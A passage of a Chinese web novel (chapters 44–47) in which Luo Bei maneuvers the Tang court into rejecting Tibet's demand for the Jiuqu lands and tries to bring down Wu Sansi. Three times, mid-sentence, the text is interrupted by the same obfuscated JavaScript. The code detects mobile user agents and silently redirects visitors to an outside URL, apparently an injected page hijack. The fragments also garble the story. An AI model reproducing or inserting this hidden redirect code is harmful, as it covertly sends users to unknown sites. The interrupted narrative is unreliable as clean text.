李重俊恨声道:“一个和亲使团,犹敢嚣张至此,我要回去禀报父......父亲,杀了他们。” 44. 第 44 章 那三人不明就里,洛北只有替李重俊遮掩几句,又带着他离开人群处。 他们走过半条杨柳依依的堤岸,李重俊才想起来自己是这是微服出巡。他差点在待考举子之中炫耀身份——若是被有心人看见,不知道要被御史们参个什么罪名:“还好,还好,幸好洛北你拦得及时。” 洛北点了点头:“殿下勿怪,不仅今日殿下不能出声,之后在朝上,除非陛下特地以此事相询,否则殿下也最好不要出声。” “这是为什么?难道我大唐子民被他们轻侮至此,我这个当太子的,连句公道话都不能说了吗?”李重俊问。 他对政治的一知半解也没有出乎洛北的预料。洛北走了半步,来到一处柳树下,看向头上的一片萋萋绿荫:“殿下是太子,理应为陛下分忧。如今却掺和进了这样一件与朝廷大政有违背的事情,对陛下来说,这与遮天无异啊。” 李重俊下意识地咽了口吐沫:“你,你这是离间天家亲情......”他话到一半,又觉得自己底气不足。 天家亲情是什么东西?是母亲为了权位杀死儿子,儿子为了皇位威逼父亲。就是父亲逼死儿子,又有什么不正常,前隋的废太子杨勇不就是这么死的吗? 李重俊低下头去,深深地叹了口气:“是,我受教了。” 洛北把李重俊送回东宫,自己才慢慢地回了府邸。裴伷先已在堂前等了一刻,见到他先笑道:“公子料事如神,张孝嵩已经来问过风声了,我把他挡了回去。” “称不上。”洛北笑道:“是伷先办的文会好,这几天曲江边能聚起那么多人,你功不可没。要是没了这个台子,今日这场戏还不知道会怎么样唱。” 裴伷先挥了挥手:“还是公子安排的戏好,那吐蕃人威风的模样让我看了都生气。只是万一朝廷追查此事......” “他是小赞普的舅家,摄政太后的亲戚。吐蕃人无论如何都会保他的。更何况圣上并不想和吐蕃动刀兵。我想此事就算追查,最后也不过是高高抬起,轻轻放下。”洛北道,“我会备一份厚礼,悄悄地送到他吐蕃家里去。” 裴伷先知道他曾经在雪域高原上住过一阵子,却不知道他交游广泛到了这等地步。他一边佩服洛北为人,一边道:“这么说,不久太子就会上书把这件事情捅开了?” “如今这场戏还不到太子粉墨登场的时候。”洛北摇了摇头。 与魏元忠不同,此刻他并不想把太子搅到此局中来。 不仅因为太子是个不够成熟的青年,更是因为李重润被杀之后,韦后对一切可能登上自家儿子原本太子之位的皇子都恨之入骨。轻易让太子站队,反而容易激起韦后的怨恨。如果韦后拿定了主意要和太子对着干,李显很可能屈从于韦后的想法。 洛北可不想拿这样的事情试探韦后对李显的影响力。毕竟他还记得在政变的那个月黑风高的夜晚,正是韦后屏风后的一番话改变了李显的立场。 裴伷先大为不解,他看洛北,依旧是一副气定神闲的模样:“那这件事情又有谁能帮忙闹到朝中呢?御史的分量够吗?” “不,当然不能是御史,也不能是魏元忠魏相公。而是另外一个对朝政有影响力的人。” 吐蕃要求割让九曲之地的事情立刻借着春闱举子的传播传遍了街头巷尾,甚至盖过了圣上特许宫中女官外出置别宅的恩旨。 上官婉儿乔迁外宅的那一日,来恭贺的车马挤遍了坊外的街道。武三思和太平公主是其中最显贵者,张柬之等人虽没有亲自道贺,也派使节前去送了礼物。 在这一群天潢贵胄,朝廷要员之间,便没有人注意到洛北这个不起眼的小人物。他得以在人群中徘徊一番,找到了正在席上作诗的褚沅。 褚沅叫在一边玩骰子的曹珍娘替她照应座次,自己从席上下来,虚虚挽住了洛北的手臂:“公子怎么正大光明地来了这儿,也不怕御史参你一个与内臣勾结的罪名?” “这满屋朱紫,还差我一个小卒吗?”洛北伸手要挣开她,“只是你的名节.......” 褚沅忍不住笑了:“讲究这套的人家怕是不会理会一个宫中女官的。公子别见怪,这里不是说话的地方。为了把你从人群里带出去,我只能这么干了。” 洛北无奈地和她一道走进门中,穿过抄手游廊,走过几处假山,绕到一处开阔的庭院中,远远地只看到几座亭台楼阁隐有丝竹声和欢声笑语传来。那便是上官婉儿同太平公主、武三思等宴游的地方。 “阿兄有事寻我?”褚沅心思洞明,见洛北踌躇满志,又不敢开口,便先问了他。 “本来不该来找你。”洛北摇了摇头,“只是我如今的身份贸然求见太平公主,只会引人怀疑,所以才想托你帮忙。” “要是为了吐蕃那件事,阿兄可来晚了。武三思今天一早就抬着三大箱礼物来了。我当时正在旁边看着珍娘清点的,可以说是蔚为壮观呐。绿松石、红玛瑙、象牙佛珠.......不可胜数。” 洛北心念一动:“你是说,武三思收了吐蕃的东西?” “吐蕃的第一批使者来的时候,本朝当政的还是武三思的姑母,女皇陛下。”褚沅道:“他们去求见武三思是理所应当的。如今既然还是为了婚事,再找武三思从中说项,也没有什么奇怪。” 洛北点了点头,把此事记在心中:“话虽如此,如今吐蕃开出的条件可是要把九曲之地划为金城公主汤沐。此事若成,我陇右河西百姓将再难安寝。倘若有办法转圜,我还是想见公主一面。” “阿兄的意思是,这件事情朝中反对的人会很多了?”褚沅问。 洛北一时不解她的意思:“难说,宰相们私下议事时,是赞同者多,反对者少的。若是开大朝会廷议此事,估计会有所改变。” “我明白了,阿兄是想让公主牵头廷议此事。”褚沅轻轻一笑,“我会和公主提起此事,不过她要是牵头上书,恐怕会赞成此提议。阿兄可要做好准备。” 洛北见她笑意盈盈,立刻明白了她的意思:“公主是想自己给自己泼污水?” 褚沅双眸一弯:“阿兄还没见过皇后和安乐公主吧?她们在房州吃够了苦,一朝登鼎权位,怎么会容许有人凌驾她们之上?太平公主已经有了实封、有了镇国的头衔,有了开府的特权,要是再不做些自泼污水的事情,怕是立刻会成为她们的眼中钉,肉中刺。” “明白了。那说服公主上书的事情......” “包在我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281666|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上。”褚沅一口应允,又回到人群之中去了。 不日,太平公主果然在朝会上公开赞成和亲吐蕃,人选是多年前已由女皇选定,是章怀太子的儿子李守礼的女儿李奴奴。 当年李奴奴被女皇选为和亲公主,已蒙李显夫妇收养为女儿,封号金城公主,如今吐蕃再次求亲,正是两国联姻,边境和平的大好时候。至于吐蕃提出的那些条件,更是应该一应照准,以全大唐的恩义。 御史台已被圣上要弃土给吐蕃的风言风语纠缠了一阵子。闻言便有两三个御史跳出来大呼不可,他们的理由简单而直接:“大唐岂有弃地弃民的天子?” 太平公主不悦道:“公主年纪尚幼,便要为了大唐去国远乡,难道做父母的多塞些陪嫁都不行?” “公主,”张柬之忽而开口发言,他虽然赞成这些决议,却不能看着太平公主把朝廷大事当做家事来议论,“陛下是天下万物臣民之主,责任至重,不可为了小儿女下此决断。” 太平公主瞄了张柬之一眼:“哦,张相公是不赞成和亲吐蕃了?” “九曲之地,难守易攻。倘委于公主汤沐,则可以绝百姓转输之劳。我是赞成的。”张柬之道,“只是此事兹事体大,理应召开大朝会廷议此事。” 李显看了一眼下面,他的东宫旧部唐休璟和魏元忠都是一脸不屑,开口点了魏元忠的名字:“魏相公,如今你检校兵部尚书,此事与你有关,你不妨说说自己的想法。” 魏元忠拱手道:“一位公主,一位郡王,都已经赞成此决议。微臣不敢说话。” “准你无罪,说吧。” “是。”魏元忠环顾四周,见一干大臣都已低下头去,朗声道:“昔年太宗文皇帝沐风雨,披寒暑,提三尺剑以定天下,才有我大唐如今疆域万里,子民百兆。子孙承基业,唯有小心守成,没有把国土和子民拱手送出去的道理!” 这话几近诛心,太平公主和张柬之面上都不好看。桓彦范忙出列打圆场:“既然诸位相公争执不下,不如召开大朝会廷议此事。” 唐休璟也开口道:“不错,此事涉及到两国边境,不是一城一地的得失,干系我李唐国运,臣也赞成开大朝会群策群力。” 唐休璟是贞观宰相兼名将唐谐之子,平定过突厥叛乱,做过安西副都护,凉州都督,也曾在李显没有登基之前做过东宫属官。当年和吐蕃的洪源谷之战,他就是主将。当年他亲自披甲上马,六次击破敌阵,大败吐蕃,一报当年临洮之仇。此战结束之后,吐蕃便来使求亲——他确如魏元忠所说,绝不可能赞成此决议。 李显见他素来信任的两位前任东宫属官都赞成开大朝会廷议,自己沉吟片刻,也下了决断:“正好,三日后召开大朝会辩论此事,有司需将此事情况发给诸臣,让他们好好想想,再来讨论。” 魏元忠下了朝,一脸闷闷不乐地回了兵部,急召洛北来向他抱怨:“太平公主竟也上书要求割地,哼,朝政坏就坏在这些人手里了。” 洛北无心和他分辨太平公主的想法,只将地图给他:“正统之争还是交给御史台和门下省去辩吧。魏相公在兵部,理应和唐相公给那些大臣们上一课。” 魏元忠点了点他:“你小子,鬼点子倒多。” 45. 第 45 章 朝廷召开大朝会的消息一经放出,立刻在民间引起轰动。其中闹得最凶的就是春闱举子们。 这些人大多数自恃天子门生,要的便是清贵体面,怎么能被外藩使臣下了面子,却不报复呢? 那姚姓青年自己便是文采斐然,王翰和张孝嵩一个有钱,一个有人望,三人纠集了一批举子当天下午就上书言事。 他们的奏疏中引用昔年汉人贾谊在《书》中对汉武帝的发言,言辞铿锵: “为邦之道,安不忘危。若使左衽之虏,得居此地,土劲甲坚,因以为乱,此天下之至虑,社稷之深忧。” 要求皇帝李显顾念民心,不要屈从于外藩小国,施恩德于天下。武三思仗着武家把持着一部分禁军,竟然要求禁军缉拿言事者。 武三思狂妄自大,竟然忘了府兵制下,禁军更戍的制度。禁军之中不乏在吐蕃战场流过血的。有几个禁军当场抗命,被大将军武承嗣下令在宫门外鞭打,引得举子和禁军一道下跪求情——差点在宫门外引起一场动乱。 还是昔年以上疏驳斥狄仁杰关于安西四镇奏疏的国子监司业崔融、左金吾卫大将军宗室成王李千里以及左羽林卫大将军李多祚三人联手出面劝说,才把这宫门外的一群人一起劝了回去。 崔融随后就上疏驳斥割让九曲的提议,他是清河崔氏出身的大儒,一贯以文学出名,在他的号召之下,又有一批朝廷清流投入反对此事的大浪之中。 一夜之间,此事已经成为长安风潮,便是街头巷尾的小摊,都有人公开针砭时弊。长安百姓把目光投向第二日的大朝会,等待庙堂上的结果。 昏暗的天色里,万众期待的大朝会开始了。 有司官员将材料宣读一番,朝会立刻陷入一片诡异的平静之中。人人都知道现在民间议论纷纷,朝中半数大臣反对。谁也不想跳出来当这个出头鸟。 “朝野都吵翻了天,怎么到了朝中,谁都不敢说话了?”李显见无人开口,连讥带讽地点了众人几句。 张柬之立于排头班列,是宰相也是神龙政变的功臣,再也不能沉默不言,第一个站出来道:“陛下,臣有话说。臣支持此议。大唐与吐蕃于贞观年间约为甥舅之国,今日又重履旧约,乃是再现贞观景象。臣希望两国重修旧好,使边境百姓能够安居乐业。” 洛北因兼任太子属官的身份,勉强能站在大殿里头,不必到台阶下去等候传话。饶是如此,他离皇帝和宰相也有很长的一段距离。要不是他一向目力极佳,怕是连讲话的人是谁都看不清。 班末的多是他这样的五品六品官员,听到张柬之发言,人群里已经升起一片窃窃私语。 裴伷先悄悄扯了扯他衣袖:“朝中议论的都是要不要以九曲之地为公主汤沐,张相公一杆子直接打到了要不要与吐蕃议和的事情上。手段真是高啊。” “如今陛下一心求和,怕是听不得这样的话。”洛北轻轻一笑,“但朝中这些重臣权臣也不是吃素的。” 他话音未落,魏元忠已经出言相驳:“张相公,大朝会议的是要不要以九曲之地为公主汤沐的事,可不是要不要和吐蕃议和的事情。” 张柬之道:“魏相公,既然是要议和,吐蕃条件如此,倘若我们不答应,难免吐蕃又要以此为借口再起边患。这恐怕不是我们议论的初衷吧?” 魏元忠已经听过洛北那一番鞭辟入里的发言,不怕他开这个头,朗声道:“张相公不解边事,故而有此发言,如今吐蕃在边境吃了好几场败仗,国内人心思动,倦战懒战,现在吐蕃又是赞普的祖母上台执政,她要借助这门亲事为自己稳固势力,绝对不会轻易放弃议和。” 张柬之被魏元忠这样挑衅。功臣派的臣子们立刻坐不住了。 桓彦范开口道:“魏相公,如今是讨论国家大事,何必以势压人?吐蕃与我们冲突日久,边境互有伤亡。昔年临洮一战,九曲之地尚在我朝手中,吐蕃兵马也长驱直入,如今将九曲之地变为公主汤沐,尚能施恩义于吐蕃,叫他们感念恩德。这便是域民不在国界在德的道理。” 功勋卓著的唐休璟立刻不干了:“圣上,临洮一战损兵折将确实不假。但洪源谷之战,我朝大败吐蕃,后来更是以离间计让吐蕃赞普诛杀了当时的主将论氏家族。如今他们已经带部族归附。九曲之地如今也在我们控制之下,若是要拱手让人,如何对我边境数万死伤将士交待?!” 有唐休璟这一呼领头,数个御史高呼:“请陛下顺应民心,不使我大唐将士寒心。”跪了下来。 这些人大多是昔年以监察御史身份去过各军之中协助作战的,甚至有人亲冒矢石参加了数场战役。他们是绝不能看着袍泽所捍卫的土地再度落入吐蕃之手。 这一环环扣得很死,张柬之立刻不语。他所在的功臣派能够成功,一大半是因为有禁军的支持。昨天在宫门外的事情就是禁军将士对此事的表态——李多祚等人明显不赞成此事。他们这些宰相也绝不能这么快就表现出过河拆桥的意思。 朝堂上又恢复了诡异的一片安静。似乎朝臣已经达成一致,就等李显顺应天下民意,取消此事。可皇帝李显只是静默不语。 半晌,还是武三思出来说了话:“可九曲之地,费用太过却是真的。如今陛下新继,百废待兴,不是用兵之时。倒不若成全吐蕃,也是添了金城公主在吐蕃说话的底气啊。” 魏元忠憋了半场大朝会,终于找到了时候,可以给大臣们上上课:“微臣检校兵部,对我朝与吐蕃边事有所了解,诸位请看。九曲之地所在的位置水草丰茂,是吐蕃进攻我临洮、兰州的桥头堡。我大唐若是失去了九曲之地,则吐蕃兵马可以长驱直入,与突厥联合吞我河西,断我西域道途,甚至威胁长安——” 在场的大臣们大部分把脑袋看得比钱重要。此刻闻言吐蕃兵马可以直抵长安,各个惊呼。连李显也想起了突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281667|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厥寇边,多次侵扰太原的旧事,使劲儿咽了咽吐沫。 武三思立刻拱手道:“与吐蕃和亲便是为了消弭战火,两家重新约为甥舅之国,魏相公这么说,难道你也反对朝廷与吐蕃议和吗?” 魏元忠中了他的套:“我没有反对议和!” “那你为什么非要反对九曲之地为公主汤沐?公主汤沐就一定会落入吐蕃之手吗?要知道,民间的女儿嫁出去,也没有夫家动妻子嫁妆的道理啊。” 武三思这番话把满朝的大臣们都震住了。一时之间,竟没有人绕过这个弯来。张柬之等人一向反对把天下大事和皇帝家事混为一谈,此刻却又和武三思站在一条阵线里,不好开口。 “陛下,臣有本奏。”洛北见众人静默不语,再也没办法在幕后推波助澜。他越众出列,环顾四周,朗声开口道: “民间婚嫁,有嫁妆便有聘礼,若是吐蕃一定要求公主以九曲之地作嫁妆,那大唐就要求他们将吐谷浑、大小勃律等国故地作聘礼!” 唐休璟哈哈大笑,他也久在边关,知道洛北此计何等“刁钻刻薄”:吐谷浑和大小勃律都是吐蕃新吞并的大唐藩属国。吐蕃征服这两个地区之后,以此为根据地,向北、向西推进,并截断了原本由吐谷浑控制的丝路南道,获得了大量财富。 要是把这些地方都吐了出来,吐蕃就可以在高原上龟缩着过日子,再也不要想什么争霸天下的美梦了! 唐休璟越众一步,开口道:“陛下,微臣赞成此议。《诗经》云,投之以木瓜,报之以琼琚。既然吐蕃有心结亲,也当让他们显示显示诚意。” 武三思在朝中说一不二了这么多年,哪里被一个五六品的青年当堂顶撞过,气得瞠目结舌:“你算什么东西?也配在朝上和我讨论国家大事?” 洛北只冷笑一声:“梁王殿下,微臣确实不懂国家大事。但微臣知道,九曲之地乃是国家要害,不可轻易放弃。殿下今日因为九曲之地难守易攻,就丢弃九曲。明日因为凉州久受侵扰,就放弃凉州,之后会不会因为突厥、吐蕃兵临城下就放弃洛阳?放弃长安?难道殿下忝居郡王之列,只会弃地弃民吗?!” 武三思被这一番话气得脸色发红,他嘴唇颤抖了几次,都没能发出声音,还是周围的宗楚客扶了他一把,才让他稳住身子:“混账小子,你敢污蔑本王!来人啊,给我拉下去重责。” 李重俊和李隆基都要越众出列为洛北说话。李显却慢悠悠地抬了抬手:“慢着。今日大朝会便是各抒己见。朕已经许诺过朝会上不因言罪人。三思,你太急躁了。洛北,你说的那个聘礼的提议,朕会派有司同吐蕃商议。散朝!” 臣子们四散而去,洛北见好就收,在殿外等了等武三思:“微臣自知殿上失仪,向梁王殿下赔罪。” 武三思也不理他,当即拂袖而去。 只是李显没有想到的是,朝会虽然结束了,议论却没有结束。 46. 第 46 章 大朝会的不了了之没有平息舆论,而是将舆论彻底引爆。长安城的酒肆茶馆,岸边桥上,到处都是议论声: 有人说张柬之老成谋国,以百姓之心为心。也有人说张柬之迂腐,不懂军事。 有人说魏元忠仗义敢言,能安邦定国。也有人说魏元忠殿前失礼,以势压人。 有人说唐休璟能征善战,不忘袍泽,也有人说唐休璟不顾民生,专好边功。 有人说洛北心怀大义,能言善辩,也有人说他沽名钓誉,自邀直名。 不过长安百姓对武三思倒是众口一词,愣是一个好字都没有。人们纷纷说他怯懦畏战,说他谄媚皇帝,甚至有人说他残害禁军和举子,是收受了吐蕃的好处。 “可见武三思这些年算是民心尽失。”洛北把一叠张贴拿给褚沅看,“这些日子,长安街头满是指摘他收受吐蕃贿赂的张贴。” 他们正在曲江池上的一叶小舟上,春日正好,照得湖水碧波万顷,波光粼粼。褚沅拿手向她兄长那边微微泼起起一点湖水:“阿兄这话当真?” 洛北知道她心思洞明,也不愿对自己的血亲说谎,但笑不语: 张柬之费了那么大的劲儿把他塞进兵部,又推荐他做太子属官,除了栽培他之外,当然还有另外的一层目的。 魏元忠是圣上的旧部,太子又是新入朝堂的力量。洛北和他们搭上了关系,就成了朝堂上较为中立的一派。他可以利用这层掩护,找机会出手扳倒武三思。 褚沅见他笑得神秘莫测,知道他必然参与此事,也不多问:“今日我在御前当值,帮着处理了一些关于此事的奏折,大部分都是在外的统兵边将的,他们倒是众口一词,都要求国家勿以九曲之地为公主汤沐。” 洛北点了点头:“这一次要是让圣上和武三思得逞,就意味着之后每一次战争的胜利都可能因为敌国的请和而化为乌有。这些人每天在边塞出生入死,绝不会允许这样的事情发生。” “薛讷、张仁愿等人讲的话,在朝中还是颇有分量的。不过奏疏中最有意思的还是郭元振的发言。”褚沅卖了个关子。 洛北也好奇一向以智谋出名的郭元振的看法:“哦?郭都督说什么?” “郭都督说,他不仅赞成你要以‘吐谷浑和大小勃律等国故地为聘礼’的决断,还要求吐蕃每年供千钱给公主脂粉用,让吐蕃许大唐三百兵马入吐蕃护卫。” 洛北哈哈大笑,他知道郭元振一向“刁钻”,却不想到他能“刁钻”到这般地步。这样的条件一加,算是叫一颗钉子深深楔进了吐蕃内部。到了那个时候,吐蕃一有什么风吹草动,三百兵马立刻就能杀到逻些城。 褚沅也跟着他笑,笑得满面云霞满面,花枝乱颤。几样黑咚咚的东西从她的袖间滚出来:“呀,光顾着说话了,这本来就是要给阿兄的,让我给忘了。” 洛北听她这样说话,就伸手捡了一只。那东西像是个元宝形状,质地极硬,他用手扣住两头,用力一掰,也未能把那东西掰开:“......” 洛北颇为疑惑,要摸腰间的匕首,却被褚沅伸出手指轻轻一点:“给我吧,阿兄。” 洛北不和它较劲儿,交还给褚沅:“这是什么东西?宫中时兴的机关?” “这是江南风物,名叫菱角。”褚沅伸手在边缘摸索了一下,指尖用力,将皮实的外壳剥开,露出里头粉白的果肉,宛如一只含苞待放的莲花:“这是越州刺史进贡来的,圣上分给了后宫一些。上官姑姑又分给我们几个在前当值的女官一人几个。我想曾祖是钱塘人,虽然阿兄久在西北,大概也没吃过,就带给你尝尝。” 她这样一说,洛北也好奇起来,只看她将一个粉白的果肉剥出来递到自己手中,张口尝了一个:“甜的,粉面口感,还有点脆......这东西,确实是没尝过。” 褚沅又笑得高兴,直把手里的几个都剥给他:“我年年在宫里,也年年吃的,没什么意思。阿兄要是喜欢,就多吃点。” 洛北低头看着那菱角,一时说不出什么心情。褚沅一口一个“阿兄”的叫着他,吃的玩的却总想到照顾他一份,倒显得他比褚沅还小些:“沅儿,我.......” “要道谢或者道歉可就不必了。”褚沅扯了截他的袖子擦了擦手,“喏,扯平了。” 洛北哑然失笑:“对了,我今天给你的东西,一定要交到太平公主那里,吐蕃的事情,还仰赖在她身上.......” “放心吧,只要风再吹一吹,太平公主就会入宫劝说圣上,上请罪的折子,把此事转圜过来。”褚沅道,“你今天给的东西,她也一定会带进宫去。可圣上的性子,你知道,他更看重的是‘亲人’。你可别逼得太紧了。” 洛北点了点头,李显挫折了太多年,这些年都是靠着皇后韦氏和几个儿女支撑过去的。李显初回京城那几年,年幼可爱的李奴奴也应当给了他不少安慰。 这种格外的偏爱,洛北之前不太能理解。可自从他找回了自己血亲,经历过阿史那献和褚沅的照顾,也算是有所感怀:“放心,这场戏不是冲着圣上去的,是冲着武三思去的。只要让圣上认为武三思应当为此事负责,他就会毫不犹豫地抛弃武三思。到了那个时候——” 武三思就会被朝臣和百姓一起压垮。 这件事在朝中发酵了几日,终于有按耐不住的御史风闻奏事,要求彻查武三思受贿,拒绝以九曲之地为公主汤沐一事,重谈与吐蕃的和亲要求。 李显留中不发,不久竟然因病推迟了朝会,也不再和宰相们见面。 皇帝的默然让朝中声浪变得越来越大,其中还夹杂起了贬斥武家王爵的事情。眼看情形变得越来越复杂,太平公主作为“始作俑者”,终于带着大批礼品,施施然地进宫了。 李显躺在床上,额上覆着热毛巾,确实是又病了,见到太平,挥了挥手让她坐到自己床边:“太平,朝臣们吵吵嚷嚷的,一开始说金城公主的事情,现在又扯到武家,扯到武三思,扯到母亲......他们到底想干什么呀?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281668|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>太平公主知道李显的性子懦弱,这些年早就被女皇吓破了胆子,他还没有支棱起一个君主应有的责任感,更像是一个拿到新玩具的孩子。她温言细语地宽慰李显:“皇兄为了这些事情生了病,倒是臣妹的不是,要是没有臣妹的那道奏疏,朝臣们也不会闹得这样大。” “不光朝臣们,连百姓们也议论纷纷。”韦皇后从殿后走了出来,亲手从侍婢端来的盥洗盆中绞了张热手帕,换到了李显的额头上:“事情到了这个地步,想是还是顺应民心的好,可是奴奴年幼,就这样嫁去了吐蕃,怕是要受吐蕃人的欺负。” “臣妹倒觉得那洛北小子说的有道理,吐蕃人肯定不会同意拿大小勃律和吐谷浑为聘礼的做法,咱们就可以理所应当地拒绝掉以九曲之地为汤沐的事情。” “朕这些日子也在想这件事,其实洛北说的不错,有礼有聘,才是符合规矩的做法。”李显道,“你们还有什么建议么?” “臣妹前几日和皇后一起看了几份奏疏,凉州都督郭元振的提了几个点子,譬如为公主修建道路,为公主进脂粉钱一类的事情。不过最能应和圣上和皇后一片慈父慈母之心的,还是派出卫队随侍公主入吐蕃。” 韦皇后和李显各自一愣。倒是韦皇后先笑了起来:“不愧是当年智胜吐蕃的郭元振,这提议提得有意思,有意思极了。但这些人,要从哪里挑选呢?边军?禁军?吐蕃人又怎么看呢?” 太平公主小心地笑着:“皇后娘娘说的是。臣妹觉得,圣上可以请郭元振把此议说得详细些,也着手与吐蕃谈判。那个洛北,本来就是郭元振的下属,也在兵部任职,不如叫他一起参与议论。” 李显点了点头,不想多理会这些事情。他看到太平公主手上拿了个东西,便问:“这是什么?” “这是吐蕃人敬奉的香炉,前些日子武三思送到我府上,臣妹觉得这个龙凤呈祥的意象,与皇后娘娘和圣上更相配,就紧赶慢赶地送了来。还请圣上和皇后娘娘不要怪罪臣妹在吐蕃之事上处置失当。” 李显看那雕工精美,更甚皇宫典藏佳品,不免微微皱了皱眉:“武三思真收了吐蕃人的东西?” “这原也不是他的错,陛下,当年吐蕃第一次求亲时,恰逢女皇当权,他也权盛一时,吐蕃人便求到了他那里。咱们虽然改回了李唐,可吐蕃人在长安,还是只认得武三思,便求到他那里了。”太平公主解释道。 李显有些生气,正要说什么,还没开口,头就更疼了。韦皇后忙替他揉着太阳穴,开口道:“武三思也是个不知进退的东西,收了礼,竟也不和我们说一声。” 李显点了点头,提起力气,勉强喊来了上官婉儿:“婉儿,婉儿,来替朕拟诏书,就说,以九曲之地为公主汤沐的事情,朝中不许再谈了。还有,着手与吐蕃重谈会盟条约,叫兵部和御史台都派人参加。” 他好容易提起力气说完这一段话,又仰头躺在床榻上,声音细若蚊鸣:“好了,好了,都遂了他们的意思,可以让朕安静会儿了吧。” 47. 第 47 章 诏书一下,朝野欢欣鼓舞,高呼天子圣明,王翰更是在城东摆下流水席,大宴三天宾客庆祝此事。 第一天开宴的时候,洛北和裴伷先都站在外头远远地往里看了看,只见美酒佳肴琳琅满目,不可胜数。 裴伷先由衷感慨:“在摆阔气这件事情上,我怕是比不过王翰了。”他身为太子属官,自然不能像从前的商人那样随心所欲。 “伷先何必和王翰一个白身相争呢?”洛北笑道,“对了,伯克不日将前往北庭,你要有什么要他照拂的,提前和我说一声。” “阿史那献将军要走了?这?”裴伷先这才反应过来,“怎么,检校北庭都护的解琬解御史要回京了?” “不错。朝廷下旨要重新与吐蕃谈判,委任解御史为副使,”洛北笑道,“魏相公将以宰相权责主理此事,已经点了我从旁协助。” 裴伷先点了点头:“圣上这一封诏书,既下了武三思的面子,又打了张柬之的脸。我还听说,武三思等人要上表请罪,要求国家罢去自己的宰相职务?” “武三思是算盘打得精,如今我们奉命和吐蕃谈判,谈出来的条件总不可能两边都满意。他提前卸下宰相职务,就是担心到时候一旦和谈失败,收受贿赂的事情会再被翻出来。”洛北道,“不过我猜,圣上会准奏的。” “圣上会准奏的?”裴伷先一时丈二和尚摸不着头脑,“圣上也没有下诏书论他的罪,不是还将奏疏留中不发了吗?” 洛北摇了摇头,他很清楚,李家和武家是因为对女皇的恐惧和二张的厌恶而走到同一条战线的。在李显的心里,张柬之等大臣能发动宫变逼女皇退位,自然也可以逼他退位。他缺乏安全感,自然会更信任失去女皇依靠的武三思。 这一次洛北说动了太平公主,才在李显心中种下“武三思可能僭越”的种子,使得李显下诏打了武三思的脸。 武三思也是聪明人,知道自己这个时候再不退,这颗种子就会长成参天大树,那离他脑袋搬家也不远 裴伷先知道他考虑的多,也没有多问:“现在就要看,圣上是准奏此事还是不准此事。若是准奏,那武三思就可以放下心来。要是不准,他的脑袋里离家也不远了。” 洛北拿手中的扇子敲了敲手心,“这倒是提醒了我,伷先,你代我传封信给张柬之张相公,叫他们千万不要在这个时候对武三思落井下石,圣上只是对武三思起了疑心,又厌倦了争斗,才会下此诏书。要是我们左一道疏右一道表地追上去,圣上只会觉得我们这些当大臣的在逼迫他。” 裴伷先在朝中待了些日子,已大体摸透了李显的性子,闻言点了点头:“我今晚就去做。” 只是洛北没想到,他已经将话说得如此清楚明白,张柬之等人还是没有停下追杀武三思的手。 武三思的请罪奏章一上,桓彦范立刻跳出来上奏要求李显罢免武家子弟的王爵,说武家子弟大多尸位素餐不说,当年武周革命,李唐宗室子弟几乎被赶尽杀绝,如今李唐回归,怎么能让武家子弟和李家子孙并肩封王? 李显还在病中,朝上一言不发,回到后宫,立刻让上官婉儿起草答对的诏书。 整篇诏书引经据典,大概意思便是:女皇五十年间内辅外临,为天下殚精竭虑。武氏亲王是皇帝的舅家,封为亲王有何不可?他们也参加了诛杀二张的神龙政变——与你等一样,都是有功之臣。更何况武三思在吐蕃事宜上犯错,尚且上书自罪,你们这群宰相也犯了错,怎么一个认错的态度都没有? 张柬之、桓彦范等人被搞得灰头土脸,张柬之不得不上表要求李显治自己在吐蕃事宜上的举止失当之罪。 李显高高抬起,轻轻放下,免了武三思的宰相,对张柬之罚俸一年,又赐给一干包括功臣派和武家子弟们可免十次死罪的免死铁券,算是把此事轻轻揭过了。 这一系列事情匆匆落定,昭示着洛北想要依靠吐蕃事宜扳倒武三思的努力彻底失败。 但洛北这会儿顾不上失落此事。因为解琬已经启程前往京城,北庭目前没了做主的人,需要北庭都护阿史那献尽快回去,防备突厥默啜的突然袭击。 阿史那献离开长安的那一日,阴雨连绵,长安城中一切如旧,洛北骑马护在阿史那献身边,一路送到了长安城外十几里的地方。 阿史那献命令骑队中途驻扎,把洛北叫到自己身边:“送到这里,也就差不多了。再走远点,你回去就赶不上长安城门关闭的时间了。” “伯克不必考虑这个。”洛北固执道,“伯克对我恩重如山,如今即将远行,我送你一程,是应当的。” 阿史那献哈哈大笑:“要是你现在想跟我去北庭,也不是不行啊。” 洛北跟着他笑了一笑,只道:“西域故地的诸部族,若是有不服伯克的,伯克尽可以派使节来告诉我。” 